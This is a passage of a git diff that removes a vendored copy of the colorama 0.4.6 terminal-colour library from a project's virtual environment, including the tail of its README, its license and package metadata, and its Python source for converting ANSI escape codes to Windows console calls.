the above highly capable libraries to generate -colors, etc, and use Colorama just for its primary purpose: to convert -those ANSI sequences to also work on Windows: - -SIMILARLY, do not send PRs adding the generation of new ANSI types to Colorama. -We are only interested in converting ANSI codes to win32 API calls, not -shortcuts like the above to generate ANSI characters. - -.. code-block:: python - - from colorama import just_fix_windows_console - from termcolor import colored - - # use Colorama to make Termcolor work on Windows too - just_fix_windows_console() - - # then use Termcolor for all colored text output - print(colored('Hello, World!', 'green', 'on_red')) - -Available formatting constants are:: - - Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. - Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. - Style: DIM, NORMAL, BRIGHT, RESET_ALL - -``Style.RESET_ALL`` resets foreground, background, and brightness. Colorama will -perform this reset automatically on program exit. - -These are fairly well supported, but not part of the standard:: - - Fore: LIGHTBLACK_EX, LIGHTRED_EX, LIGHTGREEN_EX, LIGHTYELLOW_EX, LIGHTBLUE_EX, LIGHTMAGENTA_EX, LIGHTCYAN_EX, LIGHTWHITE_EX - Back: LIGHTBLACK_EX, LIGHTRED_EX, LIGHTGREEN_EX, LIGHTYELLOW_EX, LIGHTBLUE_EX, LIGHTMAGENTA_EX, LIGHTCYAN_EX, LIGHTWHITE_EX - -Cursor Positioning -.................. - -ANSI codes to reposition the cursor are supported. See ``demos/demo06.py`` for -an example of how to generate them. - -Init Keyword Args -................. - -``init()`` accepts some ``**kwargs`` to override default behaviour. - -init(autoreset=False): - If you find yourself repeatedly sending reset sequences to turn off color - changes at the end of every print, then ``init(autoreset=True)`` will - automate that: - - .. code-block:: python - - from colorama import init - init(autoreset=True) - print(Fore.RED + 'some red text') - print('automatically back to default color again') - -init(strip=None): - Pass ``True`` or ``False`` to override whether ANSI codes should be - stripped from the output. The default behaviour is to strip if on Windows - or if output is redirected (not a tty). - -init(convert=None): - Pass ``True`` or ``False`` to override whether to convert ANSI codes in the - output into win32 calls. The default behaviour is to convert if on Windows - and output is to a tty (terminal). - -init(wrap=True): - On Windows, Colorama works by replacing ``sys.stdout`` and ``sys.stderr`` - with proxy objects, which override the ``.write()`` method to do their work. - If this wrapping causes you problems, then this can be disabled by passing - ``init(wrap=False)``. The default behaviour is to wrap if ``autoreset`` or - ``strip`` or ``convert`` are True. - - When wrapping is disabled, colored printing on non-Windows platforms will - continue to work as normal. To do cross-platform colored output, you can - use Colorama's ``AnsiToWin32`` proxy directly: - - .. code-block:: python - - import sys - from colorama import init, AnsiToWin32 - init(wrap=False) - stream = AnsiToWin32(sys.stderr).stream - - # Python 2 - print >>stream, Fore.BLUE + 'blue text on stderr' - - # Python 3 - print(Fore.BLUE + 'blue text on stderr', file=stream) - -Recognised ANSI Sequences -......................... - -ANSI sequences generally take the form:: - - ESC [ ; ... - -Where ```` is an integer, and ```` is a single letter. Zero or -more params are passed to a ````. If no params are passed, it is -generally synonymous with passing a single zero. No spaces exist in the -sequence; they have been inserted here simply to read more easily. - -The only ANSI sequences that Colorama converts into win32 calls are:: - - ESC [ 0 m # reset all (colors and brightness) - ESC [ 1 m # bright - ESC [ 2 m # dim (looks same as normal brightness) - ESC [ 22 m # normal brightness - - # FOREGROUND: - ESC [ 30 m # black - ESC [ 31 m # red - ESC [ 32 m # green - ESC [ 33 m # yellow - ESC [ 34 m # blue - ESC [ 35 m # magenta - ESC [ 36 m # cyan - ESC [ 37 m # white - ESC [ 39 m # reset - - # BACKGROUND - ESC [ 40 m # black - ESC [ 41 m # red - ESC [ 42 m # green - ESC [ 43 m # yellow - ESC [ 44 m # blue - ESC [ 45 m # magenta - ESC [ 46 m # cyan - ESC [ 47 m # white - ESC [ 49 m # reset - - # cursor positioning - ESC [ y;x H # position cursor at x across, y down - ESC [ y;x f # position cursor at x across, y down - ESC [ n A # move cursor n lines up - ESC [ n B # move cursor n lines down - ESC [ n C # move cursor n characters forward - ESC [ n D # move cursor n characters backward - - # clear the screen - ESC [ mode J # clear the screen - - # clear the line - ESC [ mode K # clear the line - -Multiple numeric params to the ``'m'`` command can be combined into a single -sequence:: - - ESC [ 36 ; 45 ; 1 m # bright cyan text on magenta background - -All other ANSI sequences of the form ``ESC [ ; ... `` -are silently stripped from the output on Windows. - -Any other form of ANSI sequence, such as single-character codes or alternative -initial characters, are not recognised or stripped. It would be cool to add -them though. Let me know if it would be useful for you, via the Issues on -GitHub. - -Status & Known Problems ------------------------ - -I've personally only tested it on Windows XP (CMD, Console2), Ubuntu -(gnome-terminal, xterm), and OS X. - -Some valid ANSI sequences aren't recognised. - -If you're hacking on the code, see `README-hacking.md`_. ESPECIALLY, see the -explanation there of why we do not want PRs that allow Colorama to generate new -types of ANSI codes. - -See outstanding issues and wish-list: -https://github.com/tartley/colorama/issues - -If anything doesn't work for you, or doesn't do what you expected or hoped for, -I'd love to hear about it on that issues list, would be delighted by patches, -and would be happy to grant commit access to anyone who submits a working patch -or two. - -.. _README-hacking.md: README-hacking.md - -License -------- - -Copyright Jonathan Hartley & Arnon Yaari, 2013-2020. BSD 3-Clause license; see -LICENSE file. - -Professional support --------------------- - -.. |tideliftlogo| image:: https://cdn2.hubspot.net/hubfs/4008838/website/logos/logos_for_download/Tidelift_primary-shorthand-logo.png - :alt: Tidelift - :target: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme - -.. list-table:: - :widths: 10 100 - - * - |tideliftlogo| - - Professional support for colorama is available as part of the - `Tidelift Subscription`_. - Tidelift gives software development teams a single source for purchasing - and maintaining their software, with professional grade assurances from - the experts who know it best, while seamlessly integrating with existing - tools. - -.. _Tidelift Subscription: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme - -Thanks ------- - -See the CHANGELOG for more thanks! - -* Marc Schlaich (schlamar) for a ``setup.py`` fix for Python2.5. -* Marc Abramowitz, reported & fixed a crash on exit with closed ``stdout``, - providing a solution to issue #7's setuptools/distutils debate, - and other fixes. -* User 'eryksun', for guidance on correctly instantiating ``ctypes.windll``. -* Matthew McCormick for politely pointing out a longstanding crash on non-Win. -* Ben Hoyt, for a magnificent fix under 64-bit Windows. -* Jesse at Empty Square for submitting a fix for examples in the README. -* User 'jamessp', an observant documentation fix for cursor positioning. -* User 'vaal1239', Dave Mckee & Lackner Kristof for a tiny but much-needed Win7 - fix. -* Julien Stuyck, for wisely suggesting Python3 compatible updates to README. -* Daniel Griffith for multiple fabulous patches. -* Oscar Lesta for a valuable fix to stop ANSI chars being sent to non-tty - output. -* Roger Binns, for many suggestions, valuable feedback, & bug reports. -* Tim Golden for thought and much appreciated feedback on the initial idea. -* User 'Zearin' for updates to the README file. -* John Szakmeister for adding support for light colors -* Charles Merriam for adding documentation to demos -* Jurko for a fix on 64-bit Windows CPython2.5 w/o ctypes -* Florian Bruhin for a fix when stdout or stderr are None -* Thomas Weininger for fixing ValueError on Windows -* Remi Rampin for better Github integration and fixes to the README file -* Simeon Visser for closing a file handle using 'with' and updating classifiers - to include Python 3.3 and 3.4 -* Andy Neff for fixing RESET of LIGHT_EX colors. -* Jonathan Hartley for the initial idea and implementation. diff --git a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD b/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD deleted file mode 100644 index bafc005f..00000000 --- a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD +++ /dev/null @@ -1,31 +0,0 @@ -colorama-0.4.6.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -colorama-0.4.6.dist-info/METADATA,sha256=e67SnrUMOym9sz_4TjF3vxvAV4T3aF7NyqRHHH3YEMw,17158 -colorama-0.4.6.dist-info/RECORD,, -colorama-0.4.6.dist-info/WHEEL,sha256=cdcF4Fbd0FPtw2EMIOwH-3rSOTUdTCeOSXRMD1iLUb8,105 -colorama-0.4.6.dist-info/licenses/LICENSE.txt,sha256=ysNcAmhuXQSlpxQL-zs25zrtSWZW6JEQLkKIhteTAxg,1491 -colorama/__init__.py,sha256=wePQA4U20tKgYARySLEC047ucNX-g8pRLpYBuiHlLb8,266 -colorama/__pycache__/__init__.cpython-311.pyc,, -colorama/__pycache__/ansi.cpython-311.pyc,, -colorama/__pycache__/ansitowin32.cpython-311.pyc,, -colorama/__pycache__/initialise.cpython-311.pyc,, -colorama/__pycache__/win32.cpython-311.pyc,, -colorama/__pycache__/winterm.cpython-311.pyc,, -colorama/ansi.py,sha256=Top4EeEuaQdBWdteKMEcGOTeKeF19Q-Wo_6_Cj5kOzQ,2522 -colorama/ansitowin32.py,sha256=vPNYa3OZbxjbuFyaVo0Tmhmy1FZ1lKMWCnT7odXpItk,11128 -colorama/initialise.py,sha256=-hIny86ClXo39ixh5iSCfUIa2f_h_bgKRDW7gqs-KLU,3325 -colorama/tests/__init__.py,sha256=MkgPAEzGQd-Rq0w0PZXSX2LadRWhUECcisJY8lSrm4Q,75 -colorama/tests/__pycache__/__init__.cpython-311.pyc,, -colorama/tests/__pycache__/ansi_test.cpython-311.pyc,, -colorama/tests/__pycache__/ansitowin32_test.cpython-311.pyc,, -colorama/tests/__pycache__/initialise_test.cpython-311.pyc,, -colorama/tests/__pycache__/isatty_test.cpython-311.pyc,, -colorama/tests/__pycache__/utils.cpython-311.pyc,, -colorama/tests/__pycache__/winterm_test.cpython-311.pyc,, -colorama/tests/ansi_test.py,sha256=FeViDrUINIZcr505PAxvU4AjXz1asEiALs9GXMhwRaE,2839 -colorama/tests/ansitowin32_test.py,sha256=RN7AIhMJ5EqDsYaCjVo-o4u8JzDD4ukJbmevWKS70rY,10678 -colorama/tests/initialise_test.py,sha256=BbPy-XfyHwJ6zKozuQOvNvQZzsx9vdb_0bYXn7hsBTc,6741 -colorama/tests/isatty_test.py,sha256=Pg26LRpv0yQDB5Ac-sxgVXG7hsA1NYvapFgApZfYzZg,1866 -colorama/tests/utils.py,sha256=1IIRylG39z5-dzq09R_ngufxyPZxgldNbrxKxUGwGKE,1079 -colorama/tests/winterm_test.py,sha256=qoWFPEjym5gm2RuMwpf3pOis3a5r_PJZFCzK254JL8A,3709 -colorama/win32.py,sha256=YQOKwMTwtGBbsY4dL5HYTvwTeP9wIQra5MvPNddpxZs,6181 -colorama/winterm.py,sha256=XCQFDHjPi6AHYNdZwy0tA02H-Jh48Jp-HvCjeLeLp3U,7134 diff --git a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL b/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL deleted file mode 100644 index d79189fd..00000000 --- a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.11.1 -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any diff --git a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt b/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt deleted file mode 100644 index 3105888e..00000000 --- a/backend/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2010 Jonathan Hartley -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holders, nor those of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/backend/venv/Lib/site-packages/colorama/__init__.py b/backend/venv/Lib/site-packages/colorama/__init__.py deleted file mode 100644 index 383101cd..00000000 --- a/backend/venv/Lib/site-packages/colorama/__init__.py +++ /dev/null @@ -1,7 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from .initialise import init, deinit, reinit, colorama_text, just_fix_windows_console -from .ansi import Fore, Back, Style, Cursor -from .ansitowin32 import AnsiToWin32 - -__version__ = '0.4.6' - diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 8b6e7ce5..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/ansi.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/ansi.cpython-311.pyc deleted file mode 100644 index 6691e492..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/ansi.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/ansitowin32.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/ansitowin32.cpython-311.pyc deleted file mode 100644 index eb4c580d..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/ansitowin32.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/initialise.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/initialise.cpython-311.pyc deleted file mode 100644 index 7ad5a0ab..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/initialise.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/win32.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/win32.cpython-311.pyc deleted file mode 100644 index df455d77..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/win32.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/__pycache__/winterm.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/__pycache__/winterm.cpython-311.pyc deleted file mode 100644 index f87bc783..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/__pycache__/winterm.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/ansi.py b/backend/venv/Lib/site-packages/colorama/ansi.py deleted file mode 100644 index 11ec695f..00000000 --- a/backend/venv/Lib/site-packages/colorama/ansi.py +++ /dev/null @@ -1,102 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -''' -This module generates ANSI character codes to printing colors to terminals. -See: http://en.wikipedia.org/wiki/ANSI_escape_code -''' - -CSI = '\033[' -OSC = '\033]' -BEL = '\a' - - -def code_to_chars(code): - return CSI + str(code) + 'm' - -def set_title(title): - return OSC + '2;' + title + BEL - -def clear_screen(mode=2): - return CSI + str(mode) + 'J' - -def clear_line(mode=2): - return CSI + str(mode) + 'K' - - -class AnsiCodes(object): - def __init__(self): - # the subclasses declare class attributes which are numbers. - # Upon instantiation we define instance attributes, which are the same - # as the class attributes but wrapped with the ANSI escape sequence - for name in dir(self): - if not name.startswith('_'): - value = getattr(self, name) - setattr(self, name, code_to_chars(value)) - - -class AnsiCursor(object): - def UP(self, n=1): - return CSI + str(n) + 'A' - def DOWN(self, n=1): - return CSI + str(n) + 'B' - def FORWARD(self, n=1): - return CSI + str(n) + 'C' - def BACK(self, n=1): - return CSI + str(n) + 'D' - def POS(self, x=1, y=1): - return CSI + str(y) + ';' + str(x) + 'H' - - -class AnsiFore(AnsiCodes): - BLACK = 30 - RED = 31 - GREEN = 32 - YELLOW = 33 - BLUE = 34 - MAGENTA = 35 - CYAN = 36 - WHITE = 37 - RESET = 39 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 90 - LIGHTRED_EX = 91 - LIGHTGREEN_EX = 92 - LIGHTYELLOW_EX = 93 - LIGHTBLUE_EX = 94 - LIGHTMAGENTA_EX = 95 - LIGHTCYAN_EX = 96 - LIGHTWHITE_EX = 97 - - -class AnsiBack(AnsiCodes): - BLACK = 40 - RED = 41 - GREEN = 42 - YELLOW = 43 - BLUE = 44 - MAGENTA = 45 - CYAN = 46 - WHITE = 47 - RESET = 49 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 100 - LIGHTRED_EX = 101 - LIGHTGREEN_EX = 102 - LIGHTYELLOW_EX = 103 - LIGHTBLUE_EX = 104 - LIGHTMAGENTA_EX = 105 - LIGHTCYAN_EX = 106 - LIGHTWHITE_EX = 107 - - -class AnsiStyle(AnsiCodes): - BRIGHT = 1 - DIM = 2 - NORMAL = 22 - RESET_ALL = 0 - -Fore = AnsiFore() -Back = AnsiBack() -Style = AnsiStyle() -Cursor = AnsiCursor() diff --git a/backend/venv/Lib/site-packages/colorama/ansitowin32.py b/backend/venv/Lib/site-packages/colorama/ansitowin32.py deleted file mode 100644 index abf209e6..00000000 --- a/backend/venv/Lib/site-packages/colorama/ansitowin32.py +++ /dev/null @@ -1,277 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import re -import sys -import os - -from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style, BEL -from .winterm import enable_vt_processing, WinTerm, WinColor, WinStyle -from .win32 import windll, winapi_test - - -winterm = None -if windll is not None: - winterm = WinTerm() - - -class StreamWrapper(object): - ''' - Wraps a stream (such as stdout), acting as a transparent proxy for all - attribute access apart from method 'write()', which is delegated to our - Converter instance. - ''' - def __init__(self, wrapped, converter): - # double-underscore everything to prevent clashes with names of - # attributes on the wrapped stream object. - self.__wrapped = wrapped - self.__convertor = converter - - def __getattr__(self, name): - return getattr(self.__wrapped, name) - - def __enter__(self, *args, **kwargs): - # special method lookup bypasses __getattr__/__getattribute__, see - # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit - # thus, contextlib magic methods are not proxied via __getattr__ - return self.__wrapped.__enter__(*args, **kwargs) - - def __exit__(self, *args, **kwargs): - return self.__wrapped.__exit__(*args, **kwargs) - - def __setstate__(self, state): - self.__dict__ = state - - def __getstate__(self): - return self.__dict__ - - def write(self, text): - self.__convertor.write(text) - - def isatty(self): - stream = self.__wrapped - if 'PYCHARM_HOSTED' in os.environ: - if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): - return True - try: - stream_isatty = stream.isatty - except AttributeError: - return False - else: - return stream_isatty() - - @property - def closed(self): - stream = self.__wrapped - try: - return stream.closed - # AttributeError in the case that the stream doesn't support being closed - # ValueError for the case that the stream has already been detached when atexit runs - except (AttributeError, ValueError): - return True - - -class AnsiToWin32(object): - ''' - Implements a 'write()' method which, on Windows, will strip ANSI character - sequences from the text, and if outputting to a tty, will convert them into - win32 function calls. - ''' - ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command - - def __init__(self, wrapped, convert=None, strip=None, autoreset=False): - # The wrapped stream (normally sys.stdout or sys.stderr) - self.wrapped = wrapped - - # should we reset colors to defaults after every .write() - self.autoreset = autoreset - - # create the proxy wrapping our output stream - self.stream = StreamWrapper(wrapped, self) - - on_windows = os.name == 'nt' - # We test if the WinAPI works, because even if we are on Windows - # we may be using a terminal that doesn't support the WinAPI - # (e.g. Cygwin Terminal). In this case it's up to the terminal - # to support the ANSI codes. - conversion_supported = on_windows and winapi_test() - try: - fd = wrapped.fileno() - except Exception: - fd = -1 - system_has_native_ansi = not on_windows or enable_vt_processing(fd) - have_tty = not self.stream.closed and self.stream.isatty() - need_conversion = conversion_supported and not system_has_native_ansi - - # should we strip ANSI sequences from our output? - if strip is None: - strip = need_conversion or not have_tty - self.strip = strip - - # should we should convert ANSI sequences into win32 calls? - if convert is None: - convert = need_conversion and have_tty - self.convert = convert - - # dict of ansi codes to win32 functions and parameters - self.win32_calls = self.get_win32_calls() - - # are we wrapping stderr? - self.on_stderr = self.wrapped is sys.stderr - - def should_wrap(self): - ''' - True if this class is actually needed. If false, then the output - stream will not be affected, nor will win32 calls be issued, so - wrapping stdout is not actually required. This will generally be - False on non-Windows platforms, unless optional functionality like - autoreset has been requested using kwargs to init() - ''' - return self.convert or self.strip or self.autoreset - - def get_win32_calls(self): - if self.convert and winterm: - return { - AnsiStyle.RESET_ALL: (winterm.reset_all, ), - AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), - AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), - AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), - AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), - AnsiFore.RED: (winterm.fore, WinColor.RED), - AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), - AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), - AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), - AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), - AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), - AnsiFore.WHITE: (winterm.fore, WinColor.GREY), - AnsiFore.RESET: (winterm.fore, ), - AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), - AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), - AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), - AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), - AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), - AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), - AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), - AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), - AnsiBack.BLACK: (winterm.back, WinColor.BLACK), - AnsiBack.RED: (winterm.back, WinColor.RED), - AnsiBack.GREEN: (winterm.back, WinColor.GREEN), - AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), - AnsiBack.BLUE: (winterm.back, WinColor.BLUE), - AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), - AnsiBack.CYAN: (winterm.back, WinColor.CYAN), - AnsiBack.WHITE: (winterm.back, WinColor.GREY), - AnsiBack.RESET: (winterm.back, ), - AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), - AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), - AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), - AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), - AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), - AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), - AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), - AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), - } - return dict() - - def write(self, text): - if self.strip or self.convert: - self.write_and_convert(text) - else: - self.wrapped.write(text) - self.wrapped.flush() - if self.autoreset: - self.reset_all() - - - def reset_all(self): - if self.convert: - self.call_win32('m', (0,)) - elif not self.strip and not self.stream.closed: - self.wrapped.write(Style.RESET_ALL) - - - def write_and_convert(self, text): - ''' - Write the given text to our wrapped stream, stripping any ANSI - sequences from the text, and optionally converting them into win32 - calls. - ''' - cursor = 0 - text = self.convert_osc(text) - for match in self.ANSI_CSI_RE.finditer(text): - start, end = match.span() - self.write_plain_text(text, cursor, start) - self.convert_ansi(*match.groups()) - cursor = end - self.write_plain_text(text, cursor, len(text)) - - - def write_plain_text(self, text, start, end): - if start < end: - self.wrapped.write(text[start:end]) - self.wrapped.flush() - - - def convert_ansi(self, paramstring, command): - if self.convert: - params = self.extract_params(command, paramstring) - self.call_win32(command, params) - - - def extract_params(self, command, paramstring): - if command in 'Hf': - params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) - while len(params) < 2: - # defaults: - params = params + (1,) - else: - params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) - if len(params) == 0: - # defaults: - if command in 'JKm': - params = (0,) - elif command in 'ABCD': - params = (1,) - - return params - - - def call_win32(self, command, params): - if command == 'm': - for param in params: - if param in self.win32_calls: - func_args = self.win32_calls[param] - func = func_args[0] - args = func_args[1:] - kwargs = dict(on_stderr=self.on_stderr) - func(*args, **kwargs) - elif command in 'J': - winterm.erase_screen(params[0], on_stderr=self.on_stderr) - elif command in 'K': - winterm.erase_line(params[0], on_stderr=self.on_stderr) - elif command in 'Hf': # cursor position - absolute - winterm.set_cursor_position(params, on_stderr=self.on_stderr) - elif command in 'ABCD': # cursor position - relative - n = params[0] - # A - up, B - down, C - forward, D - back - x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] - winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) - - - def convert_osc(self, text): - for match in self.ANSI_OSC_RE.finditer(text): - start, end = match.span() - text = text[:start] + text[end:] - paramstring, command = match.groups() - if command == BEL: - if paramstring.count(";") == 1: - params = paramstring.split(";") - # 0 - change title and icon (we will only change title) - # 1 - change icon (we don't support this) - # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) - return text - - - def flush(self): - self.wrapped.flush() diff --git a/backend/venv/Lib/site-packages/colorama/initialise.py b/backend/venv/Lib/site-packages/colorama/initialise.py deleted file mode 100644 index d5fd4b71..00000000 --- a/backend/venv/Lib/site-packages/colorama/initialise.py +++ /dev/null @@ -1,121 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import atexit -import contextlib -import sys - -from .ansitowin32 import AnsiToWin32 - - -def _wipe_internal_state_for_tests(): - global orig_stdout, orig_stderr - orig_stdout = None - orig_stderr = None - - global wrapped_stdout, wrapped_stderr - wrapped_stdout = None - wrapped_stderr = None - - global atexit_done - atexit_done = False - - global fixed_windows_console - fixed_windows_console = False - - try: - # no-op if it wasn't registered - atexit.unregister(reset_all) - except AttributeError: - # python 2: no atexit.unregister. Oh well, we did our best. - pass - - -def reset_all(): - if AnsiToWin32 is not None: # Issue #74: objects might become None at exit - AnsiToWin32(orig_stdout).reset_all() - - -def init(autoreset=False, convert=None, strip=None, wrap=True): - - if not wrap and any([autoreset, convert, strip]): - raise ValueError('wrap=False conflicts with any other arg=True') - - global wrapped_stdout, wrapped_stderr - global orig_stdout, orig_stderr - - orig_stdout = sys.stdout - orig_stderr = sys.stderr - - if sys.stdout is None: - wrapped_stdout = None - else: - sys.stdout = wrapped_stdout = \ - wrap_stream(orig_stdout, convert, strip, autoreset, wrap) - if sys.stderr is None: - wrapped_stderr = None - else: - sys.stderr = wrapped_stderr = \ - wrap_stream(orig_stderr, convert, strip, autoreset, wrap) - - global atexit_done - if not atexit_done: - atexit.register(reset_all) - atexit_done = True - - -def deinit(): - if orig_stdout is not None: - sys.stdout = orig_stdout - if orig_stderr is not None: - sys.stderr = orig_stderr - - -def just_fix_windows_console(): - global fixed_windows_console - - if sys.platform != "win32": - return - if fixed_windows_console: - return - if wrapped_stdout is not None or wrapped_stderr is not None: - # Someone already ran init() and it did stuff, so we won't second-guess them - return - - # On newer versions of Windows, AnsiToWin32.__init__ will implicitly enable the - # native ANSI support in the console as a side-effect. We only need to actually - # replace sys.stdout/stderr if we're in the old-style conversion mode. - new_stdout = AnsiToWin32(sys.stdout, convert=None, strip=None, autoreset=False) - if new_stdout.convert: - sys.stdout = new_stdout - new_stderr = AnsiToWin32(sys.stderr, convert=None, strip=None, autoreset=False) - if new_stderr.convert: - sys.stderr = new_stderr - - fixed_windows_console = True - -@contextlib.contextmanager -def colorama_text(*args, **kwargs): - init(*args, **kwargs) - try: - yield - finally: - deinit() - - -def reinit(): - if wrapped_stdout is not None: - sys.stdout = wrapped_stdout - if wrapped_stderr is not None: - sys.stderr = wrapped_stderr - - -def wrap_stream(stream, convert, strip, autoreset, wrap): - if wrap: - wrapper = AnsiToWin32(stream, - convert=convert, strip=strip, autoreset=autoreset) - if wrapper.should_wrap(): - stream = wrapper.stream - return stream - - -# Use this for initial setup as well, to reduce code duplication -_wipe_internal_state_for_tests() diff --git a/backend/venv/Lib/site-packages/colorama/tests/__init__.py b/backend/venv/Lib/site-packages/colorama/tests/__init__.py deleted file mode 100644 index 8c5661e9..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index aa4a34fd..00000000 